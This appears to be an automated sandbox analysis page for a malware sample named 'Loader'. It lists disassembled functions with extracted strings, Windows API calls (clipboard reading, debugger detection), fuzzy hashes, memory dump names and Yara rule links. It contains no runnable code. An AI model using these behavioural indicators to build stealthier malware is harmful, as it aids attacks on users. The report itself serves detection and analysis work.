Opcode ID: 7025e020dc1be4b8a9aa057e7f4e20e478a06c8b1f4e692c69e1f3649ff6bb3a
Instruction ID: ca3b89ee566e4ff942ad83ab59672ef17daa3edc381adbb1ac583b775d9a42f8
Opcode Fuzzy Hash: 7025e020dc1be4b8a9aa057e7f4e20e478a06c8b1f4e692c69e1f3649ff6bb3a
Instruction Fuzzy Hash: 4A421CB520C3D48AC334CF54D442B9FBAF2FB92304F40882DC5D96B615DBB54A468B9B

Function 00EFC970 Relevance: 18.4, Strings: 9, Instructions: 7105COMMON

Download Yara Rule

Strings

z&, xrefs: 00F015DA
Ph7m, xrefs: 00F0136F
1, xrefs: 00F0246A
Hg@, xrefs: 00EFE556
8H, xrefs: 00F02064
?, xrefs: 00EFECC9
-, xrefs: 00F01A8B
-CV, xrefs: 00EFD9D0
M5/, xrefs: 00EFCFC8

Memory Dump Source

Source File: 00000001.00000002.2711904877.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000001.00000002.2711885433.0000000000EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712181197.00000000011D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID:
String ID: -$1$8H$?$Hg@$M5/$Ph7m$z&$-CV
API String ID: 0-3808867540
Opcode ID: 5738cec0cd070931a0bd783de9f3970d3231cfa437676acf953e2766095c838c
Instruction ID: d9ec357a2f8233dc95ae847e4ea7abc86a244de867b874025c8ba10d5d92dae9
Opcode Fuzzy Hash: 5738cec0cd070931a0bd783de9f3970d3231cfa437676acf953e2766095c838c
Instruction Fuzzy Hash: 2FF30175D012698FCB58CFA9D9916ECBBF1FF58310F1481AAE498E7381E2385A81DF50

Function 00EF6A30 Relevance: 17.7, Strings: 10, Instructions: 5180COMMON

Download Yara Rule

Strings

FO}, xrefs: 00EF862F
FO}, xrefs: 00EF85C4
Cd(, xrefs: 00EFA982
>, xrefs: 00EFA603
;\q$, xrefs: 00EF8F49
`, xrefs: 00EF8C7C
H<~O, xrefs: 00EF809D
h, xrefs: 00EF793A
|, xrefs: 00EF8D7F
|, xrefs: 00EF76CD

Memory Dump Source

Source File: 00000001.00000002.2711904877.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000001.00000002.2711885433.0000000000EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712181197.00000000011D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID:
String ID: ;\q$$>$Cd($FO}$FO}$H<~O$`$h$|$|
API String ID: 0-1321615942
Opcode ID: d4531aded3b414f1182a6519129ae5696528d523657ed0a8a391442540f6f545
Instruction ID: cd8e576c554ce56a4545c70e44c18204c00b7a719232fd999c0f67f560bb0097
Opcode Fuzzy Hash: d4531aded3b414f1182a6519129ae5696528d523657ed0a8a391442540f6f545
Instruction Fuzzy Hash: 59C3F175D022698FCB68CFA9D9916ECBBF0FB58314F1481AAE458E7385D3349A85CF10

Function 0040AD40 Relevance: 12.9, Strings: 10, Instructions: 410COMMON

Download Yara Rule

Strings

.|#~, xrefs: 0040AE1D
a()*, xrefs: 0040B00F
d<h>, xrefs: 0040AFF1
|x, xrefs: 0040AF8D
<|8~, xrefs: 0040B1A6
&x&z, xrefs: 0040AE16
/pQr, xrefs: 0040AE24
m4f6, xrefs: 0040B005
l0f2, xrefs: 0040AFFB
ws, xrefs: 0040AF83

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: &x&z$.|#~$/pQr$<|8~$a()*$d<h>$l0f2$m4f6$ws$|x
API String ID: 0-1443210402
Opcode ID: bef42f24a5999112fcff0273500699b06b7358e8a10142eb4ee24f81603f5a99
Instruction ID: 5a455e5b33dc051389bcb969b85f11440245edd1c99918e46ba8560acc0916f5
Opcode Fuzzy Hash: bef42f24a5999112fcff0273500699b06b7358e8a10142eb4ee24f81603f5a99
Instruction Fuzzy Hash: E9F176B5600B02DFD3348F25D895797BBE1FB46315F118A2CD5AA8BBA0C775A805CF88

Function 00437180 Relevance: 12.8, Strings: 10, Instructions: 290COMMON

Download Yara Rule

Strings

%, xrefs: 00437245
v, xrefs: 004371F5
), xrefs: 0043724A
., xrefs: 0043724F
v, xrefs: 0043719E
, xrefs: 00437254
K, xrefs: 0043736B
Y, xrefs: 00437366
?, xrefs: 00437470
C, xrefs: 00437370

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: $%$)$.$?$C$K$Y$v$v
API String ID: 0-1948704018
Opcode ID: 9f716606c8118ff5923e3058c5eb05300d8b4fc38a581191a17a7c380467e32a
Instruction ID: f70cb8b5534ef894ef439ad6c336ad61d0d4793a511eb9a38b6a33aaea9181ad
Opcode Fuzzy Hash: 9f716606c8118ff5923e3058c5eb05300d8b4fc38a581191a17a7c380467e32a
Instruction Fuzzy Hash: 15A14D23A0C7D14AD321857D4C8425BEEC30BEA224F1ECB6ED8E5973C6D579C9069393

Function 004327B0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 132clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 004327C0
GetWindowLongW.USER32 ref: 004327E5
GetClipboardData.USER32 ref: 004327F5
GlobalLock.KERNEL32 ref: 0043280E
GlobalUnlock.KERNEL32 ref: 00432953
CloseClipboard.USER32 ref: 0043295E

Strings

T, xrefs: 0043289E

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: T
API String ID: 2832541153-3187964512
Opcode ID: f69b22f7e65234b8b8295d773221abc16353644711cc119bd34ed76aaf3f7017
Instruction ID: 2c952f62104fe5d4509db1f6639d41a4f4bf987f5331e4494cef66cb5abed10d
Opcode Fuzzy Hash: f69b22f7e65234b8b8295d773221abc16353644711cc119bd34ed76aaf3f7017
Instruction Fuzzy Hash: 6841E6B160C7818ED310AF7C998835FBED05B86324F044B3EE5E5862D2D6788689C79B

Function 00427780 Relevance: 11.0, APIs: 1, Strings: 5, Instructions: 453COMMON

Download Yara Rule

Strings

SO, xrefs: 0042804B
.;)9, xrefs: 00428308
'7lG, xrefs: 00428318
V9!,, xrefs: 004283B1, 004283B5
bH>,, xrefs: 00428310

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: '7lG$.;)9$SO$V9!,$bH>,
API String ID: 0-3057601594
Opcode ID: a05e2da8a91ea2381bd4f5517da9f1188409bddd6ac8d8d45cb515e4ccce1d79
Instruction ID: 89be8276579ee34aed10616cce504172f3d28cd0adcf7ab04e391ecd321fe4a1
Opcode Fuzzy Hash: a05e2da8a91ea2381bd4f5517da9f1188409bddd6ac8d8d45cb515e4ccce1d79
Instruction Fuzzy Hash: 60E1EDB5A0D750CFD3209F25E80176BBAE1FBC5304F05896DE6D89B361EB388905CB96

Function 0041A150 Relevance: 10.4, APIs: 2, Strings: 3, Instructions: 1622COMMON

Download Yara Rule

APIs

Part of subcall function 0043C330: LdrInitializeThunk.NTDLL(0043E40B,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043C35E

FreeLibrary.KERNEL32(?), ref: 0041A7FA
FreeLibrary.KERNEL32(?), ref: 0041A89B

Strings

I,~M, xrefs: 0041B203
AB, xrefs: 0041A622
N@, xrefs: 0041A61A

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: AB$I,~M$N@
API String ID: 764372645-1338355008
Opcode ID: 87d029fab604df654e333a86497e3f933b33b055a423a38a51ed2ea54ee66927
Instruction ID: e1ca4a59bde15fa5924e3eed146bb9730fe9803e238724338574477127e3de75
Opcode Fuzzy Hash: 87d029fab604df654e333a86497e3f933b33b055a423a38a51ed2ea54ee66927
Instruction Fuzzy Hash: ACA255352493009FD724DB24C881BABBBE3EBC5314F19C82EE5D587352D779D8868B86

Function 00F0DA50 Relevance: 10.2, Strings: 5, Instructions: 3943COMMON

Download Yara Rule

Strings

Y, xrefs: 00F0DA5E
9, xrefs: 00F1039F
H&E, xrefs: 00F0F09F
3>, xrefs: 00F0DACE
mPn:, xrefs: 00F0E06E

Memory Dump Source

Source File: 00000001.00000002.2711904877.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000001.00000002.2711885433.0000000000EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712181197.00000000011D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID:
String ID: 9$H&E$Y$mPn:$3>
API String ID: 0-2345019429
Opcode ID: febf31179c9158bb0a5ac84713e00be4929cb36f55f41c6493a71bb789647f61
Instruction ID: d47d6ca72a1d413514410f8b50b3fea5046e1a07394dd2bd7e4b112f77eb886f
Opcode Fuzzy Hash: febf31179c9158bb0a5ac84713e00be4929cb36f55f41c6493a71bb789647f61
Instruction Fuzzy Hash: 5E830F75D022698FCB18CFA9D9916ECBBF0FF58314F1481AAE458E7385E2385A81DF50

Function 00F1E170 Relevance: 9.7, Strings: 5, Instructions: 3450COMMON

Download Yara Rule

Strings

`, xrefs: 00F1F83C
0T=, xrefs: 00F20ACA
$, xrefs: 00F1F058
/8Vv, xrefs: 00F1F4F3
\D, xrefs: 00F214EB

Memory Dump Source

Source File: 00000001.00000002.2711904877.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000001.00000002.2711885433.0000000000EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712181197.00000000011D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID:
String ID: $$/8Vv$0T=$\D$`
API String ID: 0-231379867
Opcode ID: 7ff883a479b97234937740578b6cf5ff9aad3794594dd056ef1c83b35b465156
Instruction ID: 8520b0cbbba61f5ea5e7673b11946a9e0e6a357dcd8d971d85960fc4cb34b278
Opcode Fuzzy Hash: 7ff883a479b97234937740578b6cf5ff9aad3794594dd056ef1c83b35b465156
Instruction Fuzzy Hash: F1730375E012698FCB58CFA9D9916ECBBF1BF58314F1480AAE458E7385E3349A85CF10

Function 00EFB9E0 Relevance: 8.5, Strings: 6, Instructions: 1040COMMON

Download Yara Rule

Strings

;@, xrefs: 00EFBA65
5c, xrefs: 00EFBD49
[kl?, xrefs: 00EFBC2B
*8, xrefs: 00EFBA24
=, xrefs: 00EFBA5A
v, xrefs: 00EFBA6C

Memory Dump Source

Source File: 00000001.00000002.2711904877.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000001.00000002.2711885433.0000000000EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712181197.00000000011D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID:
String ID: *8$5c$;@$=$[kl?$v
API String ID: 0-597541668
Opcode ID: d43680d7f439d62195c82aadc37c84980898568370f4c9d388a87de827e94209
Instruction ID: fa9dcf263569d76010931c9ac676227f424c82640eae9ee3774da9e4dad54a2a
Opcode Fuzzy Hash: d43680d7f439d62195c82aadc37c84980898568370f4c9d388a87de827e94209
Instruction Fuzzy Hash: 6BA29A71D022698FCB18CFA9D9911EDBBF1FB58314F24816AE4A4EB385D3389985CF50

Function 00422F0D Relevance: 8.1, Strings: 6, Instructions: 628COMMON

Download Yara Rule

Strings

'#%;, xrefs: 00422FA3
3B, xrefs: 0042332B, 004233D7
0~#/, xrefs: 00422FAB
.1&*, xrefs: 00423030, 00423098
_F, xrefs: 0042301B
066&, xrefs: 00422FB3

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: '#%;$.1&*$066&$0~#/$_F$3B
API String ID: 0-1609436745
Opcode ID: fa66c99ca37da699954322922a165e2e58b78f0410072dc6387183f5db52dd74
Instruction ID: 7ea3dd8e245a26d41854b7de1f2706448979532b446e58bce8047c1e76753e38
Opcode Fuzzy Hash: fa66c99ca37da699954322922a165e2e58b78f0410072dc6387183f5db52dd74
Instruction Fuzzy Hash: E6120D75608211DFE714CF28E89172BB7E2FB8A315F59893CE88297291D738ED11CB46

Function 0041CA70 Relevance: 6.9, Strings: 5, Instructions: 626COMMON

Download Yara Rule

Strings

HI, xrefs: 0041CEC5
EG, xrefs: 0041CEBD
+, xrefs: 0041CCDD
AC, xrefs: 0041CEB5
4l/n, xrefs: 0041D104, 0041D19F

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: +$4l/n$HI$AC$EG
API String ID: 0-2131502145
Opcode ID: 2326dbb95e7f5883c8c84f8d81630c06661b5b13304fd181672047a9092814e8
Instruction ID: a4ec15649f5ce789aa249a628662369405bf800bf02bbfe84a00a1b55f3e5535
Opcode Fuzzy Hash: 2326dbb95e7f5883c8c84f8d81630c06661b5b13304fd181672047a9092814e8
Instruction Fuzzy Hash: B21233B650C3509BC704DF65CC926ABBBE2EF82314F08886DF4C58B391E7399945CB96

Function 004111A6 Relevance: 6.8, Strings: 5, Instructions: 541COMMON

Download Yara Rule

Strings

., xrefs: 00411574
', xrefs: 004113E2
m, xrefs: 004111B9
x, xrefs: 004116B5
`, xrefs: 004116BA

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: '$.$`$m$x
API String ID: 0-658611574
Opcode ID: fd5b69244993d46e929284a9bdd3bf796c8df4c9b55dffd7aefbb48e1f1effbb
Instruction ID: 2144aee67b07277a24bb181582e3d7a2e9ec39ed2a6ddb42bc05191b79a9b14a
Opcode Fuzzy Hash: fd5b69244993d46e929284a9bdd3bf796c8df4c9b55dffd7aefbb48e1f1effbb
Instruction Fuzzy Hash: 1522F67250C7908BC7249F3884913EFBBE1ABD5324F194A2FE5E9973E1D67888418B47

Function 00409150 Relevance: 6.7, Strings: 5, Instructions: 441COMMON

Download Yara Rule

Strings

yx, xrefs: 004092FE
$869, xrefs: 00409263
<5%", xrefs: 004091AB
LG, xrefs: 004091BB
2841, xrefs: 0040926B

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: $869$2841$<5%"$LG$yx
API String ID: 0-1687199681
Opcode ID: 81a90c5b949388645e4c4577b2877a3cec77f85482f17fa4fd1f021cc46f1452
Instruction ID: 6e29797cb701a68307395225b6e7be505ceeebb86d1407f7b9dd9bd878f88501
Opcode Fuzzy Hash: 81a90c5b949388645e4c4577b2877a3cec77f85482f17fa4fd1f021cc46f1452
Instruction Fuzzy Hash: 82C1247260C3914BD7158E29C4503ABBFE2ABD6204F18897EE8D59B3C3C67DC806C766

Function 00426A30 Relevance: 6.7, Strings: 5, Instructions: 423COMMON

Download Yara Rule

Strings

$XZ, xrefs: 00426AD7
k, xrefs: 00426BED
6t2v, xrefs: 00426AAF
\^, xrefs: 00426ADF
TV, xrefs: 00426AEF

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: $XZ$6t2v$k$TV$\^
API String ID: 0-467934898
Opcode ID: 3bf4fda654a8a1ef6a7daa7ad6e16e634f12e1109e43140abed9d35ced868f0f
Instruction ID: b605e89531a81705ebfe3af5fac37aee9194eb61735b639e3b3a85eadae14b77
Opcode Fuzzy Hash: 3bf4fda654a8a1ef6a7daa7ad6e16e634f12e1109e43140abed9d35ced868f0f
Instruction Fuzzy Hash: B5E1F0B5608340DFE7209F14EC81B6FB7E0FB8A304F55892DE6C59B2A1DB359815CB4A

Function 00409600 Relevance: 6.6, Strings: 5, Instructions: 348COMMON

Download Yara Rule

Strings

0, xrefs: 00409802
"7-0, xrefs: 00409795
,-, xrefs: 00409912
A313BACE34A2B05E25E054D164A37606, xrefs: 004096B6
XO, xrefs: 0040988A

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: "7-0$,-$0$A313BACE34A2B05E25E054D164A37606$XO
API String ID: 0-2755594900
Opcode ID: 96ffc6abc21e90aa4f60c2ac5e4c014c751766b9a0af1ae67335a06f1a6e3ed3
Instruction ID: b14e87bd0a1771ab9c69b1f7aba9e5e6c348a9572cac4b455d4e49c452734ab2
Opcode Fuzzy Hash: 96ffc6abc21e90aa4f60c2ac5e4c014c751766b9a0af1ae67335a06f1a6e3ed3
Instruction Fuzzy Hash: 4FB1E5B16083409BD718DF25D8519AFBBE6EBC2314F14892DE0D69B382D738D50ACB5A

Function 00423FA0 Relevance: 6.6, Strings: 5, Instructions: 300COMMON

Download Yara Rule

Strings

Q5j7, xrefs: 00423FCA
A%g', xrefs: 00424065
rBB, xrefs: 00424262
`a, xrefs: 00424026
bBB, xrefs: 0042424F

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: A%g'$Q5j7$`a$bBB$rBB
API String ID: 0-1327514492
Opcode ID: 11854e9d01787bcabf0a5723583f3a9d661c6e82951057df82fbc47dee04596a
Instruction ID: 84e825f8253b53e153d6fc107475a3046bb70845801fbe9f3bd419ebf7740313
Opcode Fuzzy Hash: 11854e9d01787bcabf0a5723583f3a9d661c6e82951057df82fbc47dee04596a
Instruction Fuzzy Hash: EB9100B5A083409FD714CF28E84175BBBE0FBCA708F508A2DF5959B382D774A905CB86

Function 00408EF0 Relevance: 6.5, Strings: 5, Instructions: 251COMMON

Download Yara Rule

Strings

+, xrefs: 00408F14
c, xrefs: 00408FC3
xs, xrefs: 00408F3C
+, xrefs: 00408FA3
40, xrefs: 00408F0D

Memory Dump Source

Source File: 00000001.00000002.2711152065.0000000000401000.00000020.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2711128299.0000000000400000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711188320.0000000000440000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711209643.0000000000443000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2711231008.0000000000454000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Loader.jbxd

Similarity

API ID:
String ID: +$40$c$xs$+
API String ID: 0-1069988977
Opcode ID: 0213a91b2d80012fb1b31493f043b6b78dca9e3c88a933d5aecf2aab1307a7db
Instruction ID: 337f816b89ebe18a5921aad55b72e827079c057bc6ea50a272954d896ed24b54
Opcode Fuzzy Hash: 0213a91b2d80012fb1b31493f043b6b78dca9e3c88a933d5aecf2aab1307a7db
Instruction Fuzzy Hash: D461F22154D3D28AE3019F79949036BFFE0AFA3350F18456EE8D41B382D77A890AD766

Function 011C47BC Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 011C47C8
IsDebuggerPresent.KERNEL32 ref: 011C4894
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 011C48AD
UnhandledExceptionFilter.KERNEL32(?), ref: 011C48B7

Memory Dump Source

Source File: 00000001.00000002.2711904877.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000001.00000002.2711885433.0000000000EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712181197.00000000011D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: a7d96cb1e2d558c8280ff9b68b85d891296b3ea81b2c8327dba79c6ca80b74c4
Instruction ID: b0f13fe9655b6acfa788fababa438da2a8c0595fb022619199caeb1e87aca2f6
Opcode Fuzzy Hash: a7d96cb1e2d558c8280ff9b68b85d891296b3ea81b2c8327dba79c6ca80b74c4
Instruction Fuzzy Hash: 50311875D062299BDF21EFA4D9497CDBBB8AF18704F1041AAE40CAB240EB709A84CF45

Function 011C46A3 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 011C46B5
GetCurrentThreadId.KERNEL32 ref: 011C46C4
GetCurrentProcessId.KERNEL32 ref: 011C46CD
QueryPerformanceCounter.KERNEL32(?), ref: 011C46DA

Memory Dump Source

Source File: 00000001.00000002.2711904877.0000000000EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000001.00000002.2711885433.0000000000EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712181197.00000000011D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712202246.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2712222775.00000000011D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ef0000_Loader.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
